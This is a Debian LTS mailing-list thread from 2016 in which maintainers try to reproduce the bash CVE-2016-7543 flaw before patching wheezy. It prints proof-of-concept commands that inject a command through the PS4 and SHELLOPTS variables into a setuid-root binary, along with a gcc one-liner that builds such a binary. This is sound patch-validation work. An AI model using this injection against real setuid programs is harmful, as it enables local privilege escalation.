Hi Balint

Ah, it could be the default shell. I'll try that. Thanks for the suggestion.

Merely that the command id is executed is not a reproduction. It has to be
executed as another user than the one one executing the binary to be a
security problem. If not it could be a bug but not a security bug
(privilege escalation).

Best regards,

// Ola

On 7 October 2016 at 00:12, Bálint Réczey <[email protected]> wrote:

> Hi Ola,
>
> 2016-10-06 23:08 GMT+02:00 Ola Lundqvist <[email protected]>:
> > Hi Matthias and Balint
> >
> > I have tried to reproduce the problem described in the openwall email.
> > However I can not reproduce it. Have you been able to?
> >
> > On wheezy:
> > ------------
> > ola@tigereye:/$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
> > Thu Oct  6 20:54:07 UTC 2016
> > ola@tigereye:/$ ls -la test
> > -rwsr-xr-x 1 root root 6824 Oct  6 20:52 test
> > ola@tigereye:/$ dpkg -l bash
> > ...CUT...
> > ii  bash           4.2+dfsg-0.1 amd64        GNU Bourne Again SHell
> >
> > On jessie:
> > ola@tigereye:~/exploit$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
> > Thu Oct  6 22:48:35 CEST 2016
>
> When I set the default shell to bash it worked for me.
> Please try with sudo dpkg-reconfigure dash.
>
> > ola@tigereye:~/exploit$ dpkg -l bash
> > ...CUT...
> > ii  bash           4.3-11+b1    amd64        GNU Bourne Again SHell
> >
> > I think it may be because SHELLOPTS is a read-only variable.
> >
> > ola@tigereye:~/exploit$ SHELLOPTS=xtrace
> > bash: SHELLOPTS: readonly variable
> >
> > Do you think I have made a mistake in the reproduction or is it so that
> the
> > patch was actually not on a real problem (at least in Debian).
> >
> > Not even if I change the code like this:
> > ola@tigereye:~/exploit$ gcc -xc - -otest2 <<< 'int main() { setuid(0);
> > system("/bin/bash -c /bin/date"); }'
> > ola@tigereye:~/exploit$ ./test2
> > Thu Oct  6 23:04:11 CEST 2016
> > ola@tigereye:~/exploit$ set -x
> > ola@tigereye:~/exploit$ ./test2
> > uid=1000(ola) gid=1000(ola)
> > groups=1000(ola),24(cdrom),25(floppy),27(sudo),29(audio),30(
> dip),44(video),46(plugdev),108(netdev)./test2
> > Thu Oct  6 23:04:18 CEST 2016
>
> This runs the command passed in PS4 thus I consider this a reproduction.
>
> Cheers,
> Balnit
>
> >
> > My conclusion is that there is no security hole. But I may be mistaken.
> >
> > Can anyone else reproduce the issue?
> >
> > Best regards,
> >
> > // Ola
> >
> > On 6 October 2016 at 12:29, Ola Lundqvist <[email protected]> wrote:
> >>
> >> Hi Matthias
> >>
> >> I will look into this.
> >>
> >> // Ola
> >>
> >> On 6 October 2016 at 01:06, Matthias Klose <[email protected]> wrote:
> >>>
> >>> On 05.10.2016 16:02, Balint Reczey wrote:
> >>> > Hello dear maintainer(s),
> >>> >
> >>> > the Debian LTS team would like to fix the security issues which are
> >>> > currently open in the Wheezy version of bash:
> >>> > https://security-tracker.debian.org/tracker/CVE-2016-7543
> >>> >
> >>> > Would you like to take care of this yourself?
> >>>
> >>> please go ahead.
> >>>
> >>> Matthias
> >>>
> >>
> >>
> >>
> >> --
> >>  --- Inguza Technology AB --- MSc in Information Technology ----
> >> /  [email protected]                    Folkebogatan 26            \
> >> |  [email protected]                   654 68 KARLSTAD            |
> >> |  http://inguza.com/                Mobile: +46 (0)70-332 1551 |
> >> \  gpg/f.p.: 7090 A92B 18FE 7994 0C36 4FE4 18A1 B1CF 0FE5 3DD9  /
> >>  ---------------------------------------------------------------
> >>
> >
> >
> >
> > --
> >  --- Inguza Technology AB --- MSc in Information Technology ----
> > /  [email protected]                    Folkebogatan 26            \
> > |  [email protected]                   654 68 KARLSTAD            |
> > |  http://inguza.com/                Mobile: +46 (0)70-332 1551 |
> > \  gpg/f.p.: 7090 A92B 18FE 7994 0C36 4FE4 18A1 B1CF 0FE5 3DD9  /
> >  ---------------------------------------------------------------
> >
>



-- 
 --- Inguza Technology AB --- MSc in Information Technology ----
/  [email protected]                    Folkebogatan 26            \
|  [email protected]                   654 68 KARLSTAD            |
|  http://inguza.com/                Mobile: +46 (0)70-332 1551 |
\  gpg/f.p.: 7090 A92B 18FE 7994 0C36 4FE4 18A1 B1CF 0FE5 3DD9  /
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